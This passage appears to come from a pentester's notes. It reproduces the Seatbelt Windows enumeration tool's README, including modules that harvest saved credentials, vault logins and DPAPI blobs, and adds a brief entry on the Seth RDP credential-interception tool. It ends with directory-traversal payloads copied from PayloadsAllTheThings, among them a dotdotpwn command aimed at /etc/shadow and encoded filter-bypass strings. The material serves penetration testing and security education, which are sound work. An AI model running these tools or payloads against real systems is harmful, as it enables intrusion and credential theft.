      LOLBAS                 - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
    + LSASettings            - LSA settings (including auth packages)
    + MappedDrives           - Users' mapped drives (via WMI)
      McAfeeConfigs          - Finds McAfee configuration files
      McAfeeSiteList         - Decrypt any found McAfee SiteList.xml configuration files.
      MicrosoftUpdates       - All Microsoft updates (via COM)
      NamedPipes             - Named pipe names, any readable ACL information and associated process information.
    + NetworkProfiles        - Windows network profiles
    + NetworkShares          - Network shares exposed by the machine (via WMI)
    + NTLMSettings           - NTLM authentication settings
      OfficeMRUs             - Office most recently used file list (last 7 days)
      OneNote                - List OneNote backup files
    + OptionalFeatures       - List Optional Features/Roles (via WMI)
      OracleSQLDeveloper     - Finds Oracle SQLDeveloper connections.xml files
    + OSInfo                 - Basic OS info (i.e. architecture, OS version, etc.)
    + OutlookDownloads       - List files downloaded by Outlook
    + PoweredOnEvents        - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
    + PowerShell             - PowerShell versions and security settings
    + PowerShellEvents       - PowerShell script block logs (4104) with sensitive data.
    + PowerShellHistory      - Searches PowerShell console history files for sensitive regex matches.
      Printers               - Installed Printers (via WMI)
    + ProcessCreationEvents  - Process creation logs (4688) with sensitive data.
      Processes              - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
    + ProcessOwners          - Running non-session 0 process list with owners. For remote use.
    + PSSessionSettings      - Enumerates PS Session Settings from the registry
    + PuttyHostKeys          - Saved Putty SSH host keys
    + PuttySessions          - Saved Putty configuration (interesting fields) and SSH host keys
      RDCManFiles            - Windows Remote Desktop Connection Manager settings files
    + RDPSavedConnections    - Saved RDP connections stored in the registry
    + RDPSessions            - Current incoming RDP sessions (argument == computername to enumerate)
    + RDPsettings            - Remote Desktop Server/Client Settings
      RecycleBin             - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
      reg                    - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
      RPCMappedEndpoints     - Current RPC endpoints mapped
    + SCCM                   - System Center Configuration Manager (SCCM) settings, if applicable
    + ScheduledTasks         - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
      SearchIndex            - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
      SecPackageCreds        - Obtains credentials from security packages
      SecurityPackages       - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
      Services               - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
    + SlackDownloads         - Parses any found 'slack-downloads' files
    + SlackPresence          - Checks if interesting Slack files exist
    + SlackWorkspaces        - Parses any found 'slack-workspaces' files
    + SuperPutty             - SuperPutty configuration files
    + Sysmon                 - Sysmon configuration from the registry
    + SysmonEvents           - Sysmon process creation logs (1) with sensitive data.
      TcpConnections         - Current TCP connections and their associated processes and services
      TokenGroups            - The current token's local and domain groups
      TokenPrivileges        - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
    + UAC                    - UAC system policies via the registry
      UdpConnections         - Current UDP connections and associated processes and services
      UserRightAssignments   - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
      WifiProfile            - Enumerates the saved Wifi profiles and extract the ssid, authentication type, cleartext key/passphrase (when possible)
    + WindowsAutoLogon       - Registry autologon information
      WindowsCredentialFiles - Windows credential DPAPI blobs
    + WindowsDefender        - Windows Defender settings (including exclusion locations)
    + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
    + WindowsFirewall        - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
      WindowsVault           - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
    + WMI                    - Runs a specified WMI query
      WMIEventConsumer       - Lists WMI Event Consumers
      WMIEventFilter         - Lists WMI Event Filters
      WMIFilterBinding       - Lists WMI Filter to Consumer Bindings
    + WSUS                   - Windows Server Update Services (WSUS) settings, if applicable


Seatbelt has the following command groups: All, User, System, Slack, Chromium, Remote, Misc

    You can invoke command groups with         "Seatbelt.exe <group>"


    Or command groups except specific commands "Seatbelt.exe <group> -Command"

   "Seatbelt.exe -group=all" runs all commands

   "Seatbelt.exe -group=user" runs the following commands:

        Certificates, CertificateThumbprints, ChromiumPresence, CloudCredentials, CloudSyncProviders,
        CredEnum, dir, DpapiMasterKeys, Dsregcmd,
        ExplorerMRUs, ExplorerRunCommands, FileZilla, FirefoxPresence,
        IdleTime, IEFavorites, IETabs, IEUrls,
        KeePass, MappedDrives, OfficeMRUs, OneNote,
        OracleSQLDeveloper, PowerShellHistory, PuttyHostKeys, PuttySessions,
        RDCManFiles, RDPSavedConnections, SecPackageCreds, SlackDownloads,
        SlackPresence, SlackWorkspaces, SuperPutty, TokenGroups,
        WindowsCredentialFiles, WindowsVault

   "Seatbelt.exe -group=system" runs the following commands:

        AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies,
        AuditPolicyRegistry, AutoRuns, Certificates, CertificateThumbprints,
        CredGuard, DNSCache, DotNet, EnvironmentPath,
        EnvironmentVariables, Hotfixes, InterestingProcesses, InternetSettings,
        LAPS, LastShutdown, LocalGPOs, LocalGroups,
        LocalUsers, LogonSessions, LSASettings, McAfeeConfigs,
        NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings,
        OptionalFeatures, OSInfo, PoweredOnEvents, PowerShell,
        Processes, PSSessionSettings, RDPSessions, RDPsettings,
        SCCM, Services, Sysmon, TcpConnections,
        TokenPrivileges, UAC, UdpConnections, UserRightAssignments,
        WifiProfile, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding,
        WindowsFirewall, WMI, WMIEventConsumer, WMIEventFilter,
        WMIFilterBinding, WSUS

   "Seatbelt.exe -group=slack" runs the following commands:

        SlackDownloads, SlackPresence, SlackWorkspaces

   "Seatbelt.exe -group=chromium" runs the following commands:

        ChromiumBookmarks, ChromiumHistory, ChromiumPresence

   "Seatbelt.exe -group=remote" runs the following commands:

        AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials,
        DNSCache, DotNet, DpapiMasterKeys, EnvironmentVariables,
        ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes,
        InterestingProcesses, KeePass, LastShutdown, LocalGroups,
        LocalUsers, LogonEvents, LogonSessions, LSASettings,
        MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings,
        OptionalFeatures, OSInfo, PoweredOnEvents, PowerShell,
        ProcessOwners, PSSessionSettings, PuttyHostKeys, PuttySessions,
        RDPSavedConnections, RDPSessions, RDPsettings, Sysmon,
        WindowsDefender, WindowsEventForwarding, WindowsFirewall

   "Seatbelt.exe -group=misc" runs the following commands:

        ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, FileInfo, FirefoxHistory,
        InstalledProducts, InterestingFiles, LogonEvents, LOLBAS,
        McAfeeSiteList, MicrosoftUpdates, OutlookDownloads, PowerShellEvents,
        Printers, ProcessCreationEvents, ProcessOwners, RecycleBin,
        reg, RPCMappedEndpoints, ScheduledTasks, SearchIndex,
        SecurityPackages, SysmonEvents


Examples:
    'Seatbelt.exe <Command> [Command2] ...' will run one or more specified checks only
    'Seatbelt.exe <Command> -full' will return complete results for a command without any filtering.
    'Seatbelt.exe "<Command> [argument]"' will pass an argument to a command that supports it (note the quotes).
    'Seatbelt.exe -group=all' will run ALL enumeration checks, can be combined with "-full".
    'Seatbelt.exe -group=all -AuditPolicies' will run all enumeration checks EXCEPT AuditPolicies, can be combined with "-full".
    'Seatbelt.exe <Command> -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run an applicable check remotely
    'Seatbelt.exe -group=remote -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run remote specific checks
    'Seatbelt.exe -group=system -outputfile="C:\Temp\out.txt"' will run system checks and output to a .txt file.
    'Seatbelt.exe -group=user -q -outputfile="C:\Temp\out.json"' will run in quiet mode with user checks and output to a .json file.
```

**Note:** searches that target users will run for the current user if not-elevated and for ALL users if elevated.

**A more detailed wiki is coming...**

## Command Groups

**Note:** many commands do some type of filtering by default. Supplying the `-full` argument prevents filtering output. Also, the command group `all` will run all current checks.

For example, the following command will run ALL checks and returns ALL output:

`Seatbelt.exe -group=all -full`

### system

Runs checks that mine interesting data about the system.

Executed with: `Seatbelt.exe -group=system`

| Command                | Description                                                                                                                       |
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| AMSIProviders          | Providers registered for AMSI                                                                                                     |
| AntiVirus              | Registered antivirus (via WMI)                                                                                                    |
| AppLocker              | AppLocker settings, if installed                                                                                                  |
| ARPTable               | Lists the current ARP table and adapter information(equivalent to arp -a)                                                         |
| AuditPolicies          | Enumerates classic and advanced audit policy settings                                                                             |
| AuditPolicyRegistry    | Audit settings via the registry                                                                                                   |
| AutoRuns               | Auto run executables/scripts/programs                                                                                             |
| Certificates           | User and machine personal certificate files                                                                                       |
| CertificateThumbprints | Thumbprints for all certificate store certs on the system                                                                         |
| CredGuard              | CredentialGuard configuration                                                                                                     |
| DNSCache               | DNS cache entries (via WMI)                                                                                                       |
| DotNet                 | DotNet versions                                                                                                                   |
| EnvironmentPath        | Current environment %PATH$ folders and SDDL information                                                                           |
| EnvironmentVariables   | Current user environment variables                                                                                                |
| Hotfixes               | Installed hotfixes (via WMI)                                                                                                      |
| InterestingProcesses   | "Interesting" processes - defensive products and admin tools                                                                      |
| InternetSettings       | Internet settings including proxy configs                                                                                         |
| LAPS                   | LAPS settings, if installed                                                                                                       |
| LastShutdown           | Returns the DateTime of the last system shutdown (via the registry)                                                               |
| LocalGPOs              | Local Group Policy settings applied to the machine/local users                                                                    |
| LocalGroups            | Non-empty local groups, "full" displays all groups (argument == computername to enumerate)                                        |
| LocalUsers             | Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)                            |
| LogonSessions          | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.                            |
| LSASettings            | LSA settings (including auth packages)                                                                                            |
| McAfeeConfigs          | Finds McAfee configuration files                                                                                                  |
| NamedPipes             | Named pipe names and any readable ACL information                                                                                 |
| NetworkProfiles        | Windows network profiles                                                                                                          |
| NetworkShares          | Network shares exposed by the machine (via WMI)                                                                                   |
| NTLMSettings           | NTLM authentication settings                                                                                                      |
| OptionalFeatures       | TODO                                                                                                                              |
| OSInfo                 | Basic OS info (i.e. architecture, OS version, etc.)                                                                               |
| PoweredOnEvents        | Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days. |
| PowerShell             | PowerShell versions and security settings                                                                                         |
| Processes              | Running processes with file info company names that don't contain 'Microsoft', "full" enumerates all processes                    |
| PSSessionSettings      | Enumerates PS Session Settings from the registry                                                                                  |
| RDPSessions            | Current incoming RDP sessions (argument == computername to enumerate)                                                             |
| RDPsettings            | Remote Desktop Server/Client Settings                                                                                             |
| SCCM                   | System Center Configuration Manager (SCCM) settings, if applicable                                                                |
| Services               | Services with file info company names that don't contain 'Microsoft', "full" dumps all processes                                  |
| Sysmon                 | Sysmon configuration from the registry                                                                                            |
| TcpConnections         | Current TCP connections and their associated processes and services                                                               |
| TokenPrivileges        | Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)                                                                   |
| UAC                    | UAC system policies via the registry                                                                                              |
| UdpConnections         | Current UDP connections and associated processes and services                                                                     |
| UserRightAssignments   | Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate |
| WifiProfile            | TODO                                                                                                                              |
| WindowsAutoLogon       | Registry autologon information                                                                                                    |
| WindowsDefender        | Windows Defender settings (including exclusion locations)                                                                         |
| WindowsEventForwarding | Windows Event Forwarding (WEF) settings via the registry                                                                          |
| WindowsFirewall        | Non-standard firewall rules, "full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)                      |
| WMIEventConsumer       | Lists WMI Event Consumers                                                                                                         |
| WMIEventFilter         | Lists WMI Event Filters                                                                                                           |
| WMIFilterBinding       | Lists WMI Filter to Consumer Bindings                                                                                             |
| WSUS                   | Windows Server Update Services (WSUS) settings, if applicable                                                                     |

### user

Runs checks that mine interesting data about the currently logged on user (if not elevated) or ALL users (if elevated).

Executed with: `Seatbelt.exe -group=user`

| Command                | Description                                                                                                                          |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| Certificates           | User and machine personal certificate files                                                                                          |
| CertificateThumbprints | Thumbprints for all certificate store certs on the system                                                                            |
| ChromiumPresence       | Checks if interesting Chrome/Edge/Brave/Opera files exist                                                                            |
| CloudCredentials       | AWS/Google/Azure cloud credential files                                                                                              |
| CloudSyncProviders     | TODO                                                                                                                                 |
| CredEnum               | Enumerates the current user's saved credentials using CredEnumerate()                                                                |
| dir                    | Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == \<directory> \<depth> \<regex> |
| DpapiMasterKeys        | List DPAPI master keys                                                                                                               |
| Dsregcmd               | TODO                                                                                                                                 |
| ExplorerMRUs           | Explorer most recently used files (last 7 days, argument == last X days)                                                             |
| ExplorerRunCommands    | Recent Explorer "run" commands                                                                                                       |
| FileZilla              | FileZilla configuration files                                                                                                        |
| FirefoxPresence        | Checks if interesting Firefox files exist                                                                                            |
| IdleTime               | Returns the number of seconds since the current user's last input.                                                                   |
| IEFavorites            | Internet Explorer favorites                                                                                                          |
| IETabs                 | Open Internet Explorer tabs                                                                                                          |
| IEUrls                 | Internet Explorer typed URLs (last 7 days, argument == last X days)                                                                  |
| KeePass                | TODO                                                                                                                                 |
| MappedDrives           | Users' mapped drives (via WMI)                                                                                                       |
| OfficeMRUs             | Office most recently used file list (last 7 days)                                                                                    |
| OneNote                | TODO                                                                                                                                 |
| OracleSQLDeveloper     | TODO                                                                                                                                 |
| PowerShellHistory      | Iterates through every local user and attempts to read their PowerShell console history if successful will print it                  |
| PuttyHostKeys          | Saved Putty SSH host keys                                                                                                            |
| PuttySessions          | Saved Putty configuration (interesting fields) and SSH host keys                                                                     |
| RDCManFiles            | Windows Remote Desktop Connection Manager settings files                                                                             |
| RDPSavedConnections    | Saved RDP connections stored in the registry                                                                                         |
| SecPackageCreds        | Obtains credentials from security packages                                                                                           |
| SlackDownloads         | Parses any found 'slack-downloads' files                                                                                             |
| SlackPresence          | Checks if interesting Slack files exist                                                                                              |
| SlackWorkspaces        | Parses any found 'slack-workspaces' files                                                                                            |
| SuperPutty             | SuperPutty configuration files                                                                                                       |
| TokenGroups            | The current token's local and domain groups                                                                                          |
| WindowsCredentialFiles | Windows credential DPAPI blobs                                                                                                       |
| WindowsVault           | Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).                                                |

### misc

Runs all miscellaneous checks.

Executed with: `Seatbelt.exe -group=misc`

| Command               | Description                                                                                                                       |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| ChromiumBookmarks     | Parses any found Chrome/Edge/Brave/Opera bookmark files                                                                           |
| ChromiumHistory       | Parses any found Chrome/Edge/Brave/Opera history files                                                                            |
| ExplicitLogonEvents   | Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.                    |
| FileInfo              | Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)                        |
| FirefoxHistory        | Parses any found FireFox history files                                                                                            |
| InstalledProducts     | Installed products via the registry                                                                                               |
| InterestingFiles      | "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.                                 |
| LogonEvents           | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.                            |
| LOLBAS                | Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.                            |
| McAfeeSiteList        | Decrypt any found McAfee SiteList.xml configuration files.                                                                        |
| MicrosoftUpdates      | All Microsoft updates (via COM)                                                                                                   |
| OutlookDownloads      | List files downloaded by Outlook                                                                                                  |
| PowerShellEvents      | PowerShell script block logs (4104) with sensitive data.                                                                          |
| Printers              | Installed Printers (via WMI)                                                                                                      |
| ProcessCreationEvents | Process creation logs (4688) with sensitive data.                                                                                 |
| ProcessOwners         | Running non-session 0 process list with owners. For remote use.                                                                   |
| RecycleBin            | Items in the Recycle Bin deleted in the last 30 days - only works from a user context!                                            |
| reg                   | Registry key values (HKLM\Software by default) argument == \[Path] \[intDepth] \[Regex] \[boolIgnoreErrors]                       |
| RPCMappedEndpoints    | Current RPC endpoints mapped                                                                                                      |
| ScheduledTasks        | Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "full" dumps all Scheduled tasks                                   |
| SearchIndex           | Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == \<search path> \<pattern1,pattern2,...> |
| SecurityPackages      | Enumerates the security packages currently available using EnumerateSecurityPackagesA()                                           |
| SysmonEvents          | Sysmon process creation logs (1) with sensitive data.                                                                             |

### Additional Command Groups

Executed with: `Seatbelt.exe -group=GROUPNAME`

| Alias    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Slack    | Runs modules that start with "Slack\*"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| Chromium | Runs modules that start with "Chromium\*"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| Remote   | Runs the following modules (for use against a remote system): AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials, DNSCache, DotNet, DpapiMasterKeys, EnvironmentVariables, ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes, InterestingProcesses, KeePass, LastShutdown, LocalGroups, LocalUsers, LogonEvents, LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, OptionalFeatures, OSInfo, PoweredOnEvents, PowerShell, ProcessOwners, PSSessionSettings, PuttyHostKeys, PuttySessions, RDPSavedConnections, RDPSessions, RDPsettings, Sysmon, WindowsDefender, WindowsEventForwarding, WindowsFirewall |

## Command Arguments

Command that accept arguments have it noted in their description. To pass an argument to a command, enclose the command an arguments in double quotes.

For example, the following command returns 4624 logon events for the last 30 days:

`Seatbelt.exe "LogonEvents 30"`

The following command queries a registry three levels deep, returning only keys/valueNames/values that match the regex `.*defini.*`, and ignoring any errors that occur.

`Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"`

## Output

Seatbelt can redirect its output to a file with the `-outputfile="C:\Path\file.txt"` argument. If the file path ends in .json, the output will be structured json.

For example, the following command will output the results of system checks to a txt file:

`Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"`

## Remote Enumeration

Commands noted with a + in the help menu can be run remotely against another system. This is performed over WMI via queries for WMI classes and WMI's StdRegProv for registry enumeration.

To enumerate a remote system, supply `-computername=COMPUTER.DOMAIN.COM` - an alternate username and password can be specified with `-username=DOMAIN\USER -password=PASSWORD`

For example, the following command runs remote-focused checks against a remote system:

`Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""`

## Building Your Own Modules

Seatbelt's structure is completely modular, allowing for additional command modules to be dropped into the file structure and loaded up dynamically.

There is a commented command module template at `.\Seatbelt\Commands\Template.cs` for reference. Once built, drop the module in the logical file location, include it in the project in the Visual Studio Solution Explorer, and compile.

## Compile Instructions

We are not planning on releasing binaries for Seatbelt, so you will have to compile yourself.

Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/). Simply open up the project .sln, choose "release", and build. To change the target .NET framework version, [modify the project's settings](https://github.com/GhostPack/Seatbelt/issues/27) and rebuild the project.

## Acknowledgments

Seatbelt incorporates various collection items, code C# snippets, and bits of PoCs found throughout research for its capabilities. These ideas, snippets, and authors are highlighted in the appropriate locations in the source code, and include:

* [@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect.
* [Boboes' code concerning NetLocalGroupGetMembers](https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889)
* [ambyte's code for converting a mapped drive letter to a network path](https://gist.github.com/ambyte/01664dc7ee576f69042c)
* [Igor Korkhov's code to retrieve current token group information](https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418)
* [RobSiklos' snippet to determine if a host is a virtual machine](https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280)
* [JGU's snippet on file/folder ACL right comparison](https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder/21996345#21996345)
* [Rod Stephens' pattern for recursive file enumeration](http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/)
* [SwDevMan81's snippet for enumerating current token privileges](https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni)
* [Jared Atkinson's PowerShell work on Kerberos ticket caches](https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1)
* [darkmatter08's Kerberos C# snippet](https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/)
* Numerous [PInvoke.net](https://www.pinvoke.net/) samples <3
* [Jared Hill's awesome CodeProject to use Local Security Authority to Enumerate User Sessions](https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us)
* [Fred's code on querying the ARP cache](https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG)
* [ShuggyCoUk's snippet on querying the TCP connection table](https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660)
* [yizhang82's example of using reflection to interact with COM objects through C#](https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816)
* [@djhohnstein](https://twitter.com/djhohnstein)'s [SharpWeb project](https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs)
* [@djhohnstein](https://twitter.com/djhohnstein)'s [EventLogParser project](https://github.com/djhohnstein/EventLogParser)
* [@cmaddalena](https://twitter.com/cmaddalena)'s [SharpCloud project](https://github.com/chrismaddalena/SharpCloud), BSD 3-Clause
* [@\_RastaMouse](https://twitter.com/_RastaMouse)'s [Watson project](https://github.com/rasta-mouse/Watson/), GPL License
* [@\_RastaMouse](https://twitter.com/_RastaMouse)'s [Work on AppLocker enumeration](https://rastamouse.me/2018/09/enumerating-applocker-config/)
* [@peewpw](https://twitter.com/peewpw)'s [Invoke-WCMDump project](https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1), GPL License
* TrustedSec's [HoneyBadger project](https://github.com/trustedsec/HoneyBadger/tree/master/modules/post/windows/gather), BSD 3-Clause
* CENTRAL Solutions's [Audit User Rights Assignment Project](https://www.centrel-solutions.com/support/tools.aspx?feature=auditrights), No license
* Collection ideas inspired from [@ukstufus](https://twitter.com/ukstufus)'s [Reconerator](https://github.com/stufus/reconerator)
* Office MRU locations and timestamp parsing information from Dustin Hurlbut's paper [Microsoft Office 2007, 2010 - Registry Artifacts](https://ad-pdf.s3.amazonaws.com/Microsoft_Office_2007-2010_Registry_ArtifactsFINAL.pdf)
* The [Windows Commands list](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands), used for sensitive regex construction
* [Ryan Ries' code for enumeration mapped RPC endpoints](https://stackoverflow.com/questions/21805038/how-do-i-pinvoke-rpcmgmtepeltinqnext)
* [Chris Haas' post on EnumerateSecurityPackages()](https://stackoverflow.com/a/5941873)
* darkoperator's work [on the HoneyBadger project](https://github.com/trustedsec/HoneyBadger)
* [@airzero24](https://twitter.com/airzero24)'s work on [WMI Registry enumeration](https://github.com/airzero24/WMIReg)
* Alexandru's answer on [RegistryKey.OpenBaseKey alternatives](https://stackoverflow.com/questions/26217199/what-are-some-alternatives-to-registrykey-openbasekey-in-net-3-5)
* Tomas Vera's [post on JavaScriptSerializer](http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/)
* Marc Gravell's [note on recursively listing files/folders](https://stackoverflow.com/a/929418)
* [@mattifestation](https://twitter.com/mattifestation)'s [Sysmon rule parser](https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595)
* Some inspiration from spolnik's [Simple.CredentialsManager project](https://github.com/spolnik/Simple.CredentialsManager), Apache 2 license
* [This post on Credential Guard settings](https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html)
* [This thread](https://social.technet.microsoft.com/Forums/windows/en-US/b0e13a16-51a6-4aca-8d44-c85e097f882b/nametype-in-nla-information-for-a-network-profile) on network profile information
* Mark McKinnon's post on [decoding the DateCreated and DateLastConnected SSID values](http://cfed-ttf.blogspot.com/2009/08/decoding-datecreated-and.html)
* This Specops [post on group policy caching](https://specopssoft.com/blog/things-work-group-policy-caching/)
* sa\_ddam213's StackOverflow post on [enumerating items in the Recycle Bin](https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files)
* Kirill Osenkov's [code for managed assembly detection](https://stackoverflow.com/a/15608028)
* The [Mono project](https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/LICENSE.TXT) for the SecBuffer/SecBufferDesc classes
* [Elad Shamir](https://twitter.com/elad_shamir) and his [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue/) project, [Vincent Le Toux](https://twitter.com/mysmartlogon) for his [DetectPasswordViaNTLMInFlow](https://github.com/vletoux/DetectPasswordViaNTLMInFlow/) project, and Lee Christensen for this [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/) project. All of these served as inspiration int he SecPackageCreds command.
* @leftp and @eksperience's [Gopher project](https://github.com/EncodeGroup/Gopher) for inspiration for the FileZilla and SuperPutty commands
* @funoverip for the original McAfee SiteList.xml decryption code

We've tried to do our due diligence for citations, but if we've left someone/something out, please let us know!


# Seth

Seth is a tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials. It was developed to raise awareness and educate about the importance of properly configured RDP connections in the context of pentests, workshops or talks.&#x20;

## Requirements

*python3*

*tcpdump*

*arpspoof*

*tcpdump*

## Usage

$ ./seth.sh \<INTERFACE> \<ATTACKER IP> \<VICTIM IP> \<GATEWAY IP|HOST IP>  \[\<COMMAND>]

{% embed url="<https://github.com/SySS-Research/Seth>" %}


# Web App Pentesting&#x20;

## Web App Tools/Payloads

All notes are either grabbed from blogs, githubs, certs, etc or my own.

## Resources:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

{% embed url="<https://portswigger.net/>" %}

{% embed url="<https://www.webhackingtips.com/>" %}


# Payload All The Things

Everything below is from Payload All The Things

<https://github.com/swisskyrepo/PayloadsAllTheThings>&#x20;


# Directory traversal

> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

## Summary

* [Tools](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
* [Basic exploitation](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [16 bits Unicode encoding](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [UTF-8 Unicode encoding](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [Bypass "../" replaced by ""](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [Bypass "../" with ";"](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [Double URL encoding](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [UNC Bypass](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [NGINX/ALB Bypass](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
* [Path Traversal](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [Interesting Linux files](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
  * [Interesting Windows files](broken://pages/u6nNsNnnjVIp4Kjk3ALN)
* [References](broken://pages/u6nNsNnnjVIp4Kjk3ALN)

## Tools

* [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn)

  ```powershell
  git clone https://github.com/wireghoul/dotdotpwn
  perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
  ```

## Basic exploitation

We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

```powershell
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
```

### 16 bits Unicode encoding

```powershell
. = %u002e
/ = %u2215
\ = %u2216
```

### UTF-8 Unicode encoding

```powershell
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
```

### Bypass "../" replaced by ""

Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.

